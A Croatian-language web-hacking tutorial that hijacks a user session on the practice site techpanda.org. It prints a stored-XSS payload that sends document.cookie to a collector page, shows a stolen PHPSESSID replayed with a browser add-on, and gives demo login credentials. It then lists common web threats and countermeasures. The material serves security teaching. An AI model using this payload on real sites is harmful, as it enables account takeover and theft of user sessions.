Kako hakirati web stranicu? Uobičajene tehnike hakiranja stranica
Tehnike hakiranja web stranica
Više ljudi ima pristup internetu nego ikad prije. To je potaknulo mnoge organizacije da razviju web aplikacije koje korisnici mogu koristiti online za interakciju s organizacijom. Loše napisan kod za web aplikacije može se iskoristiti za dobivanje neovlaštenog pristupa osjetljivim podacima i web poslužiteljima.
U ovom tutorialu ćete naučiti kako hakirati web stranice, a mi ćemo vas upoznati s time tehnike hakiranja web aplikacija i protumjere možete postaviti za zaštitu od takvih napada.
Kako hakirati web stranicu
U ovom praktičnom scenariju hakiranja web stranice, otet ćemo korisničku sesiju web aplikacije koja se nalazi na www.techpanda.org. Koristit ćemo skriptiranje na više web-mjesta za čitanje ID-a sesije kolačića, a zatim ga upotrijebiti za oponašanje legitimne korisničke sesije.
Pretpostavka je da napadač ima pristup web aplikaciji i želi preoteti sesije drugih korisnika koji koriste istu aplikaciju. Cilj ovog napada mogao bi biti dobivanje administratorskog pristupa web aplikaciji pod pretpostavkom da je napadačev račun s ograničenim pristupom.
Korak 1) Otvorite URL http://www.techpanda.org/.
U svrhu prakse, toplo se preporuča dobiti pristup pomoću SQL Injection. Pogledajte ovo članak za više informacija o tome kako to učiniti.
Korak 2) Unesite podatke za prijavu.
Email za prijavu je admin@google.com, lozinka je Password2010.
Korak 3) Provjerite nadzornu ploču.
Ako ste se uspješno prijavili, dobit ćete sljedeću nadzornu ploču
Korak 4) Unesite novi sadržaj.
Kliknite Dodaj novi kontakt i unesite sljedeće kao ime
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
Korak 5) dodati Javascript.
Gornji kod koristi JavaScript. Dodaje hipervezu s onclick događajem. Kada korisnik koji ništa ne sumnja klikne vezu, događaj dohvaća PHP ID sesije kolačića i šalje ga na snatch_sess_id.php
stranicu zajedno s ID-om sesije u URL-u
Korak 6) Dodajte pojedinosti.
Unesite preostale detalje kao što je prikazano u nastavku i kliknite Spremi promjene
Korak 7) Provjerite nadzornu ploču.
Vaša nadzorna ploča sada će izgledati kao na sljedećem zaslonu
Korak 8) Provjerite ID sesije.
bilješke: skripta možda šalje vrijednost nekom udaljenom poslužitelju gdje je PHPSESSID pohranjen, a zatim se korisnik preusmjerava natrag na web mjesto kao da se ništa nije dogodilo.
bilješke: vrijednost koju dobijete može se razlikovati od one na ovoj web stranici poduka o hakiranju, ali koncept je isti
Upotreba oponašanja sesije Firefox i Tamper Data dodatak
Dijagram toka u nastavku prikazuje korake koje morate poduzeti da biste dovršili ovu vježbu.
- Trebat će vam Firefox web preglednik za ovaj odjeljak i dodatak Tamper Data
- Otvoren Firefox i instalirajte dodatak kao što je prikazano na dijagramima u nastavku
- Potražite podatke o neovlaštenom mijenjanju podataka, a zatim kliknite na instalaciju kao što je prikazano gore
- Kliknite na Prihvati i instaliraj…
- Kliknite Restart Now kada instalacija završi
- Omogućite traku izbornika Firefox ako nije prikazano
- Pritisnite izbornik alata, a zatim odaberite Podaci o neovlaštenim promjenama kao što je prikazano u nastavku
- Dobit ćete sljedeći prozor. Napomena: Ako je Windows nije prazno, pritisnite gumb za brisanje
- Pritisnite Start Tamper izbornik
- Vrati se na Firefox web preglednik, tip http://www.techpanda.org/dashboard.php zatim pritisnite tipku enter za učitavanje stranice
- Dobit ćete sljedeći skočni prozor iz Tamper Data
- Skočni prozor ima tri (3) opcije. Opcija Tamper vam omogućuje izmjenu informacija HTTP zaglavlja prije nego što se pošalju poslužitelju.
- Kliknite na njega
- Dobit ćete sljedeći prozor
- Kopirati ID PHP sesije kopirali ste s URL-a napada i zalijepite ga nakon znaka jednakosti. Vaša bi vrijednost sada trebala izgledati ovako
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- Pritisnite gumb OK
- Ponovno ćete dobiti skočni prozor s podacima o neovlaštenim promjenama
- Poništite potvrdni okvir koji pita Continue Tampering?
- Kliknite gumb za slanje kada završite
- Trebali biste moći vidjeti nadzornu ploču kao što je prikazano u nastavku
bilješke: nismo se prijavili, oponašali smo sesiju prijave pomoću PHPSESSID vrijednosti koju smo dohvatili pomoću skriptiranja na više web stranica
Što je web aplikacija? Što su web prijetnje?
Web aplikacija (poznata i kao web stranica) je aplikacija koja se temelji na modelu klijent-poslužitelj. The server osigurava pristup bazi podataka i poslovnu logiku. Nalazi se na web poslužitelju. Klijentska aplikacija radi na web pregledniku klijenta. Web aplikacije obično su napisane na jezicima kao što su Java, C# i VB.Net, PHP, ColdFusion Markup Language, itd. motori baza podataka koji se koriste u web aplikacijama uključuju MySQL, MS SQL Server, PostgreSQL, SQLite, Itd
Vrhunske tehnike hakiranja web stranica
Većina web aplikacija nalazi se na javnim poslužiteljima dostupnima putem Interneta. To ih čini ranjivima na napade zbog lake dostupnosti. Slijede uobičajene prijetnje web aplikacijama.
- SQL Injection – cilj ove prijetnje mogao bi biti zaobilaženje algoritama za prijavu, sabotiranje podataka itd.
- Odbijanje napada usluga– cilj ove prijetnje mogao bi biti uskraćivanje legitimnim korisnicima pristupa resursu
- Cross Site Scripting XSS– cilj ove prijetnje mogao bi biti ubacivanje koda koji se može izvršiti na pregledniku na strani klijenta.
- Trovanje kolačićima/sesijom– cilj ove prijetnje je izmijeniti kolačiće/podatke o sesiji od strane napadača kako bi dobio neovlašteni pristup.
- Neovlašteno mijenjanje obrasca – cilj ove prijetnje je modificiranje podataka obrazaca kao što su cijene u aplikacijama za e-trgovinu kako bi napadač mogao dobiti artikle po sniženim cijenama.
- Injekcija koda – cilj ove prijetnje je ubacivanje koda kao što je PHP, Python, itd. koji se mogu izvršiti na poslužitelju. Kod može instalirati stražnja vrata, otkriti osjetljive informacije itd.
- Oskvrnjivanje– cilj ove prijetnje je modificiranje stranice prikazane na web stranici i preusmjeravanje svih zahtjeva stranice na jednu stranicu koja sadrži napadačevu poruku.
Kako zaštititi svoju web stranicu od hakova?
Organizacija može usvojiti sljedeću politiku kako bi se zaštitila od napada web poslužitelja.
- SQL Injection – dezinfekcija i provjera valjanosti korisničkih parametara prije slanja u bazu podataka na obradu može pomoći u smanjenju mogućnosti napada putem SQL Injection. Motori baza podataka kao što su MS SQL Server, MySQL, itd. parametri podrške i pripremljene izjave. Puno su sigurniji od tradicionalnih SQL naredbi
- Napadi uskraćivanjem usluge – vatrozidi se mogu koristiti za ispuštanje prometa sa sumnjive IP adrese ako je napad jednostavan DoS. Ispravna konfiguracija mreža i sustava za otkrivanje upada također može pomoći u smanjenju mogućnosti a DoS napad bio uspješan.
- Cross Site Scripting – provjera valjanosti i dezinfekcija zaglavlja, parametara proslijeđenih putem URL-a, parametara obrazaca i skrivenih vrijednosti mogu pomoći u smanjenju XSS napada.
- Trovanje kolačićima/sesijom – ovo se može spriječiti šifriranjem sadržaja kolačića, isključivanjem kolačića nakon nekog vremena, povezivanjem kolačića s IP adresom klijenta koja je korištena za njihovo stvaranje.
- Kaljenje forme – to se može spriječiti potvrđivanjem i provjerom korisničkog unosa prije obrade.
- Ubrizgavanje koda – to se može spriječiti tretiranjem svih parametara kao podataka, a ne izvršnog koda. Sanitizacija i validacija mogu se koristiti za provedbu ovoga.
- Oskvrnjivanje – dobra sigurnosna politika razvoja web aplikacija trebala bi osigurati da zapečati često korištene ranjivosti za pristup web poslužitelju. To može biti ispravna konfiguracija operativnog sustava, softvera web poslužitelja i najbolje sigurnosne prakse pri razvoju web aplikacija.
rezime
- Web aplikacija temelji se na modelu poslužitelj-klijent. Klijentska strana koristi web preglednik za pristup resursima na poslužitelju.
- Web aplikacijama obično se može pristupiti putem interneta. To ih čini ranjivima na napade.
- Prijetnje web aplikacijama uključuju SQL Injection, Code Injection, XSS, Defacement, Cookie poisoning itd.
- Dobra sigurnosna politika pri razvoju web aplikacija može pomoći da budu sigurni.